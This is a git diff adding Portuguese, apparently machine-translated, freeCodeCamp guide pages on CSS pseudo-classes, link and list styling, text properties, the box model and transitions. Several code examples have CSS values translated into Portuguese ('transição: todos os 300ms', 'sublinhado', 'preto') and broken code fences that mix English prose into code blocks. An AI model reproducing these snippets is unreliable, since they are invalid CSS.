+++ b/client/src/guide/portuguese/css/selectors/pseudo/hover/index.md
@@ -0,0 +1,95 @@
+---
+title: Hover
+localeTitle: Flutuar
+---
+## Flutuar
+
+O `selector:hover` pseudo-class é acionado quando você interage com o elemento (seletor) com um dispositivo apontador geralmente um ponteiro do mouse. Os estilos do elemento passados ​​serão sobrepostos pelo estilo definido em `selector:hover` pseudo-class. Para estilizar links / elementos adequadamente, as regras devem ser definidas na ordem: - : link -: visited -: hover -: ativo
+
+**Sintaxe:**
+
+```css
+ selector:hover { 
+    css declarations; 
+ } 
+```
+
+## Mais exemplos
+
+Abaixo estão alguns exemplos mais complexos do que você pode fazer com a pseudo-classe `:hover` . Tenha em mente que o `.second` div **deve** vir após o `.first` div em todos esses exemplos.
+
+1.  Quando você passa o mouse sobre um elemento, altera um irmão adjacente.
+
+```html
+
+<style> 
+  .first:hover + .second { 
+    background-color: blue; 
+  } 
+ </style> 
+ 
+ <div class="first">First</div> 
+ <div class="second">Second</div> 
+```
+
+O código acima irá alterar a cor de `.second` plano de `.second` para azul quando você passa o mouse sobre `.first` .
+
+2.  Quando você passa o mouse sobre um elemento, muda um irmão geral.
+
+```html
+
+<style> 
+  .first:hover ~ .second { 
+    background-color: blue; 
+  } 
+ </style> 
+ 
+ <div class="first">First</div> 
+ <div class="middle">Middle</div> 
+ <div class="second">Second</div> 
+```
+
+Este exemplo dá um pouco mais de flexibilidade, pois os dois elementos não precisam mais estar diretamente adjacentes.
+
+3.  Quando você passa o mouse sobre um elemento, altera um descendente direto.
+
+```html
+
+<style> 
+  .first:hover > .second { 
+    background-color: blue; 
+  } 
+ </style> 
+ 
+ <div class="first"> 
+  First 
+  <div class="second">Second</div> 
+ </div> 
+```
+
+O código acima irá alterar a cor de `.second` plano de `.second` para azul quando você passa o mouse sobre `.first` .
+
+4.  Quando você passa o mouse sobre um elemento, altera um descendente geral.
+
+```html
+
+<style> 
+  .first:hover .second { 
+    background-color: blue; 
+  } 
+ </style> 
+ 
+ <div class="first"> 
+  First 
+  <div class="container"> 
+    Container 
+    <div class="second">Second</div> 
+  </div> 
+ </div> 
+```
+
+Como no exemplo 2, isso também dá mais flexibilidade, pois os dois elementos não precisam mais ficar diretamente adjacentes. Você notará que a área flutuante é maior nos exemplos 3 e 4. Isso acontece porque você ainda está pairando sobre `.first` desde que o cursor esteja sobre um de seus filhos.
+
+#### Mais Informações:
+
+[Documento Web do MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/%3Ahover) [w3schools](https://www.w3schools.com/cssref/sel_hover.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/pseudo/index.md b/client/src/guide/portuguese/css/selectors/pseudo/index.md
new file mode 100644
index 0000000000..296cf4f551
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/pseudo/index.md
@@ -0,0 +1,32 @@
+---
+title: Pseudo
+localeTitle: Pseudo
+---
+# Pseudo-Seletores
+
+Pseudo-seletores fornecem uma maneira de direcionar elementos usando pseudo classes ou pseudo-elementos.
+
+## Classes Pseudo Estruturais
+
+Pseudo classes estruturais oferecem uma maneira de direcionar elementos com base em sua posição.
+
+Classe | Descrição --------- | ------------ `:root` | Raiz do documento. No contexto dos documentos HTML, essa seria a tag `html` no topo. Isso pode significar diferentes elementos em outros documentos, como XML ou SVG. `:only-child` | Um elemento que é o único filho de seu elemento pai. `:first-child` | Primeiro filho de um pai. `:last-child` | Último filho de um elemento pai. `:nth-child(n)` | n-ésimo filho de seu pai. `:nth-last-child(n)` | n-ésimo filho do último filho. O reverso de `:nth-child` . `:only-of-type` | O único elemento do tipo dentro de seus irmãos com outros tipos. `:first-of-type` | O primeiro elemento do tipo entre seus irmãos. `:last-of-type` | O último elemento do tipo entre seus irmãos. `:nth-of-type(n)` | n-ésimo irmão do mesmo tipo. `:nth-last-of-type(n)` | n-ésimo irmão do mesmo tipo do último. O reverso de `:nth-of-type` . `:empty` | Um elemento sem elementos filho.
+
+## Classes Pseudo do Estado da IU
+
+As pseudo classes do estado da interface do usuário oferecem uma maneira de segmentar elementos com base em seu estado atual.
+
+Classe | Descrição --------- | ------------ `:link` | Elementos de link não visitados. `:visited` | Um link já visitado. `:hover` | Um elemento sobre o qual o ponteiro do mouse está pairando. `:active` | Um elemento no qual o ponteiro do mouse foi clicado, mas ainda não foi liberado. `:focus` | Um elemento que tem foco. Importante para acessibilidade, por exemplo, ao usar a tecla `tab` para navegação. `:enabled` | Um elemento que está no estado ativado. `:disabled` | Um elemento que foi desativado. `:checked` | Uma caixa de seleção ou botão de opção selecionado.
+
+## Pseudo-elementos
+
+Os pseudo-elementos, por outro lado, são elementos ou elementos gerados dinamicamente em um lugar especial.
+
+Seletor | Descrição --------- | ------------ `::first-line` | Primeira linha de um elemento, geralmente um contêiner ou um parágrafo. `::first-letter` | Uma letra de um elemento. Amplamente utilizado para styling drop-caps. `::before` | Um elemento dinâmico criado com conteúdo próprio antes do elemento real. `::after` | Um elemento dinâmico criado com conteúdo próprio após o elemento real.
+
+## Mais Informações:
+
+Informações adicionais podem ser encontradas nas referências abaixo.
+
+*   [Especificação oficial do Seletor CSS3](https://www.w3.org/TR/css3-selectors/#structural-pseudos)
+*   [Página de rede para desenvolvedores Mozilla em seletores](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Selectors)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/pseudo/link/index.md b/client/src/guide/portuguese/css/selectors/pseudo/link/index.md
new file mode 100644
index 0000000000..34e71479c1
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/pseudo/link/index.md
@@ -0,0 +1,26 @@
+---
+title: Link
+localeTitle: Ligação
+---
+## Ligação
+
+A pseudo-classe `:link` CSS é usada para direcionar todos os elementos não visitados (por exemplo, elementos âncora `<a>` ) que possuem um atributo `href` , mesmo se `href` tiver um valor vazio.
+
+Sintaxe Geral:
+
+```css
+target:link 
+```
+
+## Exemplo
+
+```css
+/* Selects any <a> that has not been visited yet */ 
+ a:link { 
+    color: red; 
+ } 
+```
+
+#### Mais Informações:
+
+*   [: link (MDN)](https://developer.mozilla.org/en-US/docs/Web/CSS/:link)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/pseudo/visited/index.md b/client/src/guide/portuguese/css/selectors/pseudo/visited/index.md
new file mode 100644
index 0000000000..51f9d9ecb7
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/pseudo/visited/index.md
@@ -0,0 +1,36 @@
+---
+title: Visited
+localeTitle: Visitou
+---
+## Visitado
+
+O seletor CSS: visited altera o estilo de um link que foi visitado por um usuário. Esse seletor é usado para ajudar os usuários a distinguir entre os links que eles têm e os que não visitaram.
+
+Se vários pseudo seletores CSS estiverem sendo usados, o seletor: visited deve vir após o seletor de link:.
+
+No exemplo abaixo, depois que um usuário clica em um link, a cor do texto muda de preto para verde.
+
+```css
+ a { 
+   color: black; 
+ } 
+ 
+ a:visited { 
+   color: green; 
+ } 
+```
+
+Devido a razões de privacidade do usuário, o seletor: visited está limitado a modificar os estilos das seguintes propriedades CSS:
+
+*   cor
+*   cor de fundo
+*   border-color (incluindo cor de borda para lados separados)
+*   coluna-regra-cor
+*   cor de contorno
+*   preenchimento e traço (para imagens SVG)
+
+#### Mais Informações:
+
+*   [Documento Web do MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
+*   [Escolas W3](https://www.w3schools.com/cssref/sel_visited.asp)
+*   [Guia de truques CSS para pseudo classes e elementos](https://www.smashingmagazine.com/2016/05/an-ultimate-guide-to-css-pseudo-classes-and-pseudo-elements/#visited)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/structure-of-css/index.md b/client/src/guide/portuguese/css/structure-of-css/index.md
new file mode 100644
index 0000000000..9f3ee22309
--- /dev/null
+++ b/client/src/guide/portuguese/css/structure-of-css/index.md
@@ -0,0 +1,49 @@
+---
+title: Structure of CSS
+localeTitle: Estrutura do CSS
+---
+## Estrutura CSS
+
+Uma regra CSS segue essa estrutura básica:
+
+```CSS
+selector { 
+  property: value; 
+  property: value; 
+ } 
+```
+
+Tudo dentro dos estilos de chaves é o que for selecionado pelo [seletor](https://guide.freecodecamp.org/css/selectors) . Dentro de uma regra CSS, há um conjunto de pares de [propriedade](https://guide.freecodecamp.org/css/properties) / valor.
+
+Você pode ter diferentes seletores separados com comas:
+
+```CSS
+selector1, 
+ selector2 { 
+  property: value; 
+ } 
+```
+
+Várias regras CSS podem ser colocadas em um arquivo CSS - aqui está um exemplo:
+
+```CSS
+h1 { 
+  color: red; 
+ } 
+ 
+ div { 
+  text-align: center; 
+  color: blue; 
+ } 
+ 
+ img { 
+  margin-left: 2px; 
+  margin-top: 100px; 
+ } 
+```
+
+#### Mais Informações:
+
+*   [Sintaxe CSS no código da Web](https://codetheweb.blog/2017/11/11/css-syntax/)
+*   Mais sobre [seletores CSS](https://guide.freecodecamp.org/css/selectors)
+*   Mais sobre [propriedades CSS](https://guide.freecodecamp.org/css/properties)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/styling-links/index.md b/client/src/guide/portuguese/css/styling-links/index.md
new file mode 100644
index 0000000000..fa7c65d8ea
--- /dev/null
+++ b/client/src/guide/portuguese/css/styling-links/index.md
@@ -0,0 +1,82 @@
+---
+title: Styling Links
+localeTitle: Links de estilo
+---
+## Links de estilo
+
+Os links podem ser estilizados com qualquer propriedade CSS, como `color` , `font-family` `font-size` e `padding` . Aqui está um exemplo fácil:
+
+```css
+a { 
+    color: hotpink; 
+ } 
+```
+
+## Além disso, os links podem ter um estilo diferente, dependendo do estado em que estão.
+
+Os links também têm 4 estados e muitos programadores definem cada estado de maneira diferente. Os quatro estados são:
+
+*   `a:link` : um `a:link` não visitado e não clicado
+*   `a:visited` : um link clicado visitado
+*   `a:hover` : um link quando o mouse do usuário está sobre ele
+*   `a:active` : um link quando é clicado
+
+A propriedade `<a href="">` é responsável por criar URLs e pode ser modificada usando várias propriedades de estilo CSS, embora tenha algumas delas por padrão:
+
+1.  Sublinhado
+2.  Cor azul
+
+Você pode alterá-los adicionando as propriedades de `color` e `text-decoration` .
+
+```css
+   color: black; 
+   text-decoration: none; 
+```
+
+Você também pode estilizar o link com base na interação usando essas propriedades, também conhecidas como estados de link:
+
+*   a: link - um link normal não visitado
+*   a: visitado - um link que o usuário visitou
+*   a: hover - um link quando o usuário passa o mouse sobre ele
+*   a: ativo - um link no momento em que é clicado
+
+Aqui está um exemplo de CSS usando os 4 estados:
+
+```css
+a:link { color: red; } 
+ a:visited { color: blue; } 
+ a:hover { color: green; } 
+ a:active { color: blue; } 
+```
+
+**Observe** que existem algumas _regras de ordenação_ para quando você está definindo o estilo para estados de link.
+
+*   `a:hover` deve vir depois de `a:link` e `a:visited`
+    
+*   `a:active` deve vir depois de `a:hover`
+    
+    a: link - um link normal não visitado a: visitado - um link que o usuário visitou a: hover - um link quando o usuário passa o mouse sobre ele a: ativo - um link no momento em que é clicado
+    
+
+```css
+/* unvisited link */ 
+ a:link { 
+    color: red; 
+ } 
+ 
+ /* visited link */ 
+ a:visited { 
+    color: green; 
+ } 
+ 
+ /* mouse over link */ 
+ a:hover { 
+    color: hotpink; 
+ } 
+ 
+ /* selected link */ 
+ a:active { 
+    color: blue; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/styling-lists/index.md b/client/src/guide/portuguese/css/styling-lists/index.md
new file mode 100644
index 0000000000..3aeba4a927
--- /dev/null
+++ b/client/src/guide/portuguese/css/styling-lists/index.md
@@ -0,0 +1,207 @@
+---
+title: Styling Lists
+localeTitle: Listas de estilo
+---
+## Listas de estilo
+
+### Recapitulação de listas de HTML
+
+Existem dois tipos principais de listas em HTML - **Ordered** e **Unordered** .
+
+Em listas **ordenadas** ( `<ol></ol>` ), a ordem dos itens da lista é importante. Os itens podem aparecer em ordem por número, numeral romano, numeral alfa ou outro tipo de marcador. O marcador padrão para listas ordenadas é um número (ou `decimal` ):
+
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/ordered-list.png?raw=true "lista ordenada")
+
+Em listas não **ordenadas** ( `<ul></ul>` ), a ordem dos itens da lista não importa. Os itens aparecem em formato de marcador. O marcador padrão para listas não ordenadas é um ponto ou `disc` arredondado.
+
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/unordered-list.png?raw=true "lista não ordenada")
+
+Cada item da lista em uma lista ordenada ou não ordenada é criado com a tag `<li></li>` .
+
+### Estilos Específicos da Lista
+
+Existem três propriedades comuns específicas para listas de estilo: `list-style-type` , `list-style-position` e `list-style-image` . Há também uma propriedade abreviada que inclui todos os três.
+
+#### `list-style-type`
+
+Os marcadores (ou marcadores) que aparecem em listas ordenadas e não ordenadas podem ser estilizados de várias maneiras. A propriedade CSS para estilizar o tipo de marcador é do tipo `list-style-type` . O valor do `list-style-type` padrão para uma lista ordenada é `decimal` , enquanto o padrão para uma lista não ordenada é `disc` .
+
+Exemplo de lista ordenada:
+
+> ```css
+> /* css */ 
+>  ol { 
+>   list-style-type: upper-roman; 
+>  } 
+> 
+> ```
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-type-upper-roman.png?raw=true "lista-estilo-tipo upper-roman")
+
+Exemplo de lista não ordenada:
+
+> ```css
+> /* css */ 
+>  ul { 
+>   list-style-type: square; 
+>  } 
+> 
+> ```
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-type-square.png?raw=true "quadrado do tipo lista de estilo")
+
+Nenhum exemplo de marcador:
+
+> ```css
+> /* css */ 
+>  ul { 
+>   list-style-type: none; 
+>  } 
+> 
+> ```
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-type-none.png?raw=true "list-style-type nenhum")
+
+Os valores aceitos para a propriedade de `list-style-type` incluem:
+
+_Não ordenado:_
+
+*   disco ( _padrão_ )
+*   círculo
+*   quadrado
+
+_Pedido:_
+
+*   decimal ( _padrão_ )
+*   decimal-principal-zero
+*   baixo-romano
+*   romano superior
+*   grego inferior
+*   latim inferior
+*   latim superior
+*   armênio
+*   georgiano
+*   alfa-inferior
+*   alfa superior
+
+_De outros:_
+
+*   Nenhum
+
+Nota: todos os valores de propriedade listados acima podem ser usados ​​para estilizar listas ordenadas e não ordenadas (ex: uma lista ordenada com marcadores de lista `square` ).
+
+#### `list-style-position`
+
+`list-style-position` controla se o marcador de lista aparece dentro ou fora de cada elemento do item de lista ( `<li></li>` ). A propriedade aceita dois valores, `outside` (padrão) ou `inside` .
+
+Posicione o marcador `outside` do elemento do item da lista e todas as linhas de texto e sub-linhas de cada item da lista serão alinhadas verticalmente:
+
+> ```css
+> /* css */ 
+>  ul { 
+>   list-style-position: outside; /* default */ 
+>  } 
+> 
+> ```
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-position-outside.png?raw=true "posição de estilo de lista fora")
+
+Posicione o marcador `inside` e a primeira linha de texto de cada item da lista será recuada para dar espaço ao marcador. Quaisquer sub-linhas do mesmo item da lista serão alinhadas com o marcador em vez da primeira linha de texto:
+
+> ```css
+> /* css */ 
+>  ul { 
+>   list-style-position: inside; 
+>  } 
+> 
+> ```
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-position-inside.png?raw=true "posição de estilo de lista dentro")
+
+#### `list-style-image`
+
+A propriedade `list-style-image` aceita uma URL de imagem no lugar do marcador de lista. O valor padrão para essa propriedade é `none` .
+
+> ```css
+> /* css */ 
+>  ul { 
+>   list-style-image: url(https://url-to-image); 
+>  } 
+> 
+> ```
+
+#### taquigrafia de `list-style`
+
+`list-style` é uma propriedade abreviada para as três propriedades de estilo listadas acima. A ordem de valores que o `list-style` aceita é `list-style-type` `list-style-position` , `list-style-position` `list-style-image` e `list-style-image` . Se algum valor for omitido, o valor padrão para essa propriedade será usado.
+
+> Exemplo:
+> 
+> ```css
+> /* css */ 
+>  ul { 
+>   list-style: circle inside none; 
+>  } 
+> 
+> ```
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-shorthand.png?raw=true "taquigrafia em estilo de lista")
+
+#### Mais estilo específico de lista
+
+As tags de lista ordenada também aceitam atributos que controlam os valores de fluxo, contagem ou marcador específico de seus itens de lista. Estes incluem os atributos `start` , `reversed` e `value` . Veja os recursos do MDN listados abaixo para mais detalhes.
+
+### Estilo geral
+
+O conteúdo da lista pode ser estilizado como outros elementos `p` ou `div` . `color` , `font-family` , `margin` , `padding` ou `border` são apenas alguns exemplos de propriedades que podem ser adicionadas aos elementos `ul` , `ol` ou `li` .
+
+Observe que qualquer estilo adicionado ao elemento `ul` ou `ol` afetará a lista inteira. Os estilos adicionados diretamente aos elementos `li` afetarão os itens da lista individual. No exemplo abaixo, as propriedades border e background-color são estilizadas de maneira diferente entre os elementos list e list item:
+
+> ```css
+> /* css */ 
+>  ul { 
+>   list-style-type: circle; 
+>   border: 2px solid blue; 
+>   background-color: lightblue; 
+>  } 
+>  li { 
+>   margin: 5px; 
+>   background-color: lightyellow; 
+>  } 
+> 
+> ```
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-styles.png?raw=true "estilo geral de estilo de lista")
+
+#### Espaçamento de lista
+
+Você pode notar um espaçamento extra na frente dos itens da lista quando o `list-style-type` está definido como `none` . Definir o `padding` como `0` (ou seja qual for o espaçamento preferido) no elemento da lista substituirá esse preenchimento padrão.
+
+> ```css
+> /* css */ 
+>  ul { 
+>   list-style: none; 
+>   padding: 0; 
+>  } 
+>  li { 
+>   padding: 5px 10px; 
+>   background-color: #EEEEEE; 
+>   border: 1px solid #DDDDDD; 
+>  } 
+> 
+> ```
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-padding.png?raw=true "estilo geral de estilo de lista")
+
+* * *
+
+#### Fontes:
+
+Os links abaixo foram referenciados na compilação de informações encontradas neste artigo. Por favor, visite-os para mais detalhes sobre este tópico.
+
+#### Mais Informações:
+
+[MDN - listas de estilos](https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Styling_lists)
+
+[W3Schools - Listas de CSS](https://www.w3schools.com/css/css_list.asp)
+
+[Truques de CSS - estilo de lista](https://css-tricks.com/almanac/properties/l/list-style/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/styling-tables/index.md b/client/src/guide/portuguese/css/styling-tables/index.md
new file mode 100644
index 0000000000..e519ca34a6
--- /dev/null
+++ b/client/src/guide/portuguese/css/styling-tables/index.md
@@ -0,0 +1,11 @@
+---
+title: Styling Tables
+localeTitle: Tabelas de estilo
+---
+## Tabelas de estilo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/styling-tables/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/text-align/index.md b/client/src/guide/portuguese/css/text-align/index.md
new file mode 100644
index 0000000000..c461a7e359
--- /dev/null
+++ b/client/src/guide/portuguese/css/text-align/index.md
@@ -0,0 +1,49 @@
+---
+title: Text Align
+localeTitle: Alinhamento de texto
+---
+## Alinhamento de texto
+
+Esta propriedade CSS descreve o alinhamento horizontal do conteúdo embutido em seu elemento de bloco pai. `text-align` não controla o alinhamento de elementos de bloco, afeta apenas o conteúdo in-line.
+
+### Valores:
+
+A propriedade `text-align` é especificada como uma única palavra-chave escolhida na lista de valores abaixo:
+
+`text-align: left;` alinha o texto à esquerda
+
+`text-align: right;` alinha o texto à direita
+
+`text-align: center;` alinha o texto para o centro
+
+`text-align: justify;` faz com que as linhas tenham a mesma largura
+
+`text-align: justify-all;` faz com que as linhas tenham a mesma largura, incluindo a última
+
+`text-align: start;` alinha a última linha no começo da linha
+
+`text-align: end;` alinha a última linha no final da linha
+
+`text-align: match-parent;` calcule os valores inicial e final para a direção do pai e substitua pelo valor apropriado da esquerda ou da direita.
+
+**Valores de alinhamento de bloco (sintaxe não padrão)** :
+
+`text-align: -moz-center;`
+
+`text-align: -webkit-center;`
+
+**Valores Globais** :
+
+`text-align: inherit;` herda de seu elemento pai
+
+`text-align: initial;` valor padrão
+
+`text-align: unset;` aplica o valor herdado ou inicial, dependendo das propriedades padrão do elemento
+
+#### Mais Informações:
+
+*   [Especificação CSS1](https://www.w3.org/TR/REC-CSS1/#text-align)
+*   [Especificação CSS2](https://www.w3.org/TR/CSS21/text.html#alignment-prop)
+*   [Especificação CSS3](https://www.w3.org/TR/css-text-3/#justification)
+*   [Documento Web do MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align)
+*   [Truques CSS](https://css-tricks.com/almanac/properties/t/text-align/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/text-indent/index.md b/client/src/guide/portuguese/css/text-indent/index.md
new file mode 100644
index 0000000000..9e937f0195
--- /dev/null
+++ b/client/src/guide/portuguese/css/text-indent/index.md
@@ -0,0 +1,28 @@
+---
+title: Text Indent
+localeTitle: Recuo de Texto
+---
+## Recuo de Texto
+
+Essa propriedade CSS cria um recuo da primeira linha em um bloco de texto.
+
+### Valores:
+
+A propriedade `text-indent` pode ser especificada usando `%` , `px` , `em` ou unidades de medida como `cm` e `in` .
+
+Por exemplo:
+
+*   `text-indent: 20%;`
+*   `text-indent: 15px;`
+*   `text-indent: 5em;`
+*   `text-indent: 2in;`
+
+A propriedade `text-indent` também pode herdar de seu elemento pai usando o valor de `inherit` .
+
+Por exemplo:
+
+*   `text-indent: inherit;`
+
+#### Mais Informações:
+
+*   [MDN Web Docs - recuo de texto CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/text-indent)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/text-shadow/index.md b/client/src/guide/portuguese/css/text-shadow/index.md
new file mode 100644
index 0000000000..27d4225fe0
--- /dev/null
+++ b/client/src/guide/portuguese/css/text-shadow/index.md
@@ -0,0 +1,48 @@
+---
+title: Text Shadow
+localeTitle: Sombra de texto
+---
+## Sombra de texto
+
+A propriedade `text-shadow` adiciona sombra ao texto. \`\` \`css text-shadow: offset-x deslocamento-y blur-radius color;
+```
+### offset-x 
+ 
+ Sets the horizontal distance from the text. Accepts both positive and negative values. Positive values place shadow to the right of the text while a negative value places the shadow to the left. 
+ 
+ The `offset-x` value is required. 
+ 
+ ### offset-y 
+ 
+ Sets the vertical distance from the text. Accepts both positive and negative values. Positive values place shadow to below the text while a negative value places the shadow above. 
+ 
+ The `offset-y` value is required. 
+ 
+ 
+ ### blur-radius 
+ 
+ Sets the length of the shadow's blur. The larger the value the wider and lighter the shadow becomes. 
+ 
+ The `blur-radius` value is optional. 
+ 
+ ### color 
+ 
+ Sets the color of the shadow. 
+ 
+ The `color` value is optional. 
+ 
+ 
+ ### Example 
+```
+
+css text-shadow: 1px -2px 5px # a4a4a4;
+```
+### Example of multiple shadows 
+ Multiple shadows can be used for giving text a solid outline on all 4 directions, like a bubble-writing effect. 
+```
+
+css text-shadow: -1px 0 1px preto, 0 1px 1px preto, 1px 0 1px preto, 0 -1px 1px preto; \`\` \`
+
+### Mais Informações:
+
+Documentação do MDN: [MDN Web Docs - CSS-shadow text](https://developer.mozilla.org/en-US/docs/Web/CSS/text-shadow)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/text/index.md b/client/src/guide/portuguese/css/text/index.md
new file mode 100644
index 0000000000..f49637c1ab
--- /dev/null
+++ b/client/src/guide/portuguese/css/text/index.md
@@ -0,0 +1,66 @@
+---
+title: Text
+localeTitle: Texto
+---
+## Texto
+
+Várias propriedades são fornecidas pelo CSS para alterar a aparência do texto. Várias propriedades de texto são explicadas abaixo.
+
+#### Cor do texto
+
+\`\` \`html
+
+Este é um exemplo de propriedade de texto CSS.
+```
+``` css 
+ p { 
+    color:red; 
+ } 
+```
+
+No exemplo acima, a `color` do texto do elemento `<p>` é alterada para vermelho. Você também pode especificar a cor como valores RGB, valores HLS e códigos hexadecimais (para obter mais informações sobre cores, clique [aqui](https://guide.freecodecamp.org/css/colors) ).
+
+#### Alinhamento de texto
+
+`text-align` propriedade `text-align` é usada para definir o alinhamento horizontal do texto. Pode levar valores à `left` , à `right` , ao `center` e `justify` . \`\` \`css p { texto-alinhar: centro; }
+```
+Here the text is aligned to the `center` ([example](https://www.w3schools.com/css/tryit.asp?filename=trycss_text-align)).When `text-align` is set to `justify`,each line is stretched so that every line has equal width, and the left and right margins are straight ([example](https://www.w3schools.com/css/tryit.asp?filename=trycss_text-align_all)). 
+ 
+ #### Text Decoration 
+```
+
+css p { text-decoration: sublinhado; }
+```
+The `text-decoration` property is used to set or remove decorations from text. The value `text-decoration: none;` is often used to remove underlines from links. Other `text-decorations` include `overline`,`line-through`,and `underline` ([example](https://www.w3schools.com/css/tryit.asp?filename=trycss_text-decoration)). 
+ 
+ #### Text Tranformation 
+```
+
+css p { text-transform: capitalize; }
+```
+The `text-transform` property is used to convert the entire text to `uppercase`,`lowercase` or to `capitilize` each word([example](https://www.w3schools.com/css/tryit.asp?filename=trycss_text-transform)). 
+ 
+ #### Letter Spacing 
+ 
+ The `letter-spacing` property sets the space between characters in a text. 
+```
+
+css p { espaçamento entre letras: 5px; }
+```
+#### Line Height 
+ 
+ The `line-height` property sets the space between two lines of text. 
+```
+
+css p { Altura da linha: 5 px; }
+```
+#### Word Spacing 
+ 
+ The `word-spacing` sets the space between words in a text. 
+```
+
+css p { espaçamento entre palavras: 5px; } \`\` \`
+
+#### Mais Informações:
+
+[Texto CSS do W3Schools](https://w3schools.com/css/css_text.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/the-box-model/index.md b/client/src/guide/portuguese/css/the-box-model/index.md
new file mode 100644
index 0000000000..0007a2383d
--- /dev/null
+++ b/client/src/guide/portuguese/css/the-box-model/index.md
@@ -0,0 +1,31 @@
+---
+title: Box Model
+localeTitle: Modelo de caixa
+---
+## Modelo de caixa
+
+Entender o Modelo de Caixas de CSS é crucial para poder planejar corretamente uma página da web.
+
+Quando um navegador renderiza (desenha) uma página da web, cada elemento, por exemplo, um pedaço de texto ou uma imagem, é desenhado como uma caixa retangular seguindo as regras do Modelo de Caixa do CSS.
+
+No centro da caixa está o conteúdo em si, que ocupa uma certa altura e largura. Esta região é conhecida como a **área de conteúdo** . O tamanho da área de conteúdo pode ser determinado automaticamente ou você pode definir explicitamente o tamanho da altura e da largura. (veja a nota abaixo sobre o `box-sizing` )
+
+![Imagem da área de conteúdo](https://raw.githubusercontent.com/johnkennedy9147/Resources/master/CSS%20Box%20Model%20Images/content%20area.jpg)
+
+Em torno da área de conteúdo, esta é uma região conhecida como **área de preenchimento** . O tamanho do preenchimento pode ser o mesmo ao redor (definido com `padding` ) ou você pode definir individualmente para os `padding` superior, direito, inferior e esquerdo (com `padding-top` , `padding-right` , `padding-bottom` e `padding-left` ) .
+
+![Imagem da área de preenchimento](https://raw.githubusercontent.com/johnkennedy9147/Resources/master/CSS%20Box%20Model%20Images/padding%20area.jpg)
+
+Em seguida, há uma **área de fronteira** . Isso cria uma borda ao redor do elemento e seu preenchimento. Você pode definir espessura ( `border-width` ), cor (cor da `border-color` ) e estilo ( `border-style` ) da borda. As opções de estilo incluem `none` (sem borda), `solid` , `dashed` , `dotted` e várias outras. Além disso, você pode definir as bordas nos 4 lados individualmente; por exemplo, a borda superior com `border-top-width` , `border-top-color` e `border-top-style` pela sua espessura, cor e estilo. (Veja a nota abaixo sobre `box-sizing` .)
+
+![Imagem da área de fronteira](https://raw.githubusercontent.com/johnkennedy9147/Resources/master/CSS%20Box%20Model%20Images/border%20area.jpg)
+
+Finalmente, há a **área de margem** . Isso cria um espaço livre ao redor do elemento, preenchimento e borda. Novamente, você pode definir individualmente as margens superior, direita, inferior e esquerda (com `margin-top` , `margin-right` , `margin-bottom` e `margin-left` ). Sob certas circunstâncias, o colapso da margem ocorre e as margens entre os elementos adjacentes podem ser compartilhadas.
+
+![Imagem da área de margem](https://raw.githubusercontent.com/johnkennedy9147/Resources/master/CSS%20Box%20Model%20Images/margin%20area2.jpg)
+
+**Propriedade de `box-sizing`** O padrão para essa propriedade é `content-box` . Se você usar o padrão, o modelo de caixa permitirá que o autor especifique o tamanho da área de conteúdo. No entanto, é possível usá-los para especificar o tamanho da área da borda. Isso é feito alterando `box-sizing` propriedade de `box-sizing` `border-box` . Isso às vezes pode tornar os layouts mais fáceis. Você pode definir a propriedade de `box-sizing` por elemento, conforme desejado.
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/transition/index.md b/client/src/guide/portuguese/css/transition/index.md
new file mode 100644
index 0000000000..db53864f9d
--- /dev/null
+++ b/client/src/guide/portuguese/css/transition/index.md
@@ -0,0 +1,35 @@
+---
+title: Transition
+localeTitle: Transição
+---
+## Transição
+
+A propriedade de `transition` permite alterar os valores das propriedades sem problemas (de um valor para outro), durante uma determinada duração. \`\` \`css transição: todos os 300ms;
+```
+### Transition on Several Property Values 
+ 
+ You can change multiples property values with transition property. 
+```
+
+css transição: largura 300ms, altura 2s;
+```
+### Specify the Speed Curve of the Transition 
+ 
+ You can specify a speed curve on an element in transition property. 
+```
+
+css transição: altura 2s linear;
+```
+or the property `transition-timing-function` 
+```
+
+css função de temporização de transição: linear; \`\` \`
+
+### Valores diferentes da `transition-timing-function` de `transition-timing-function`
+
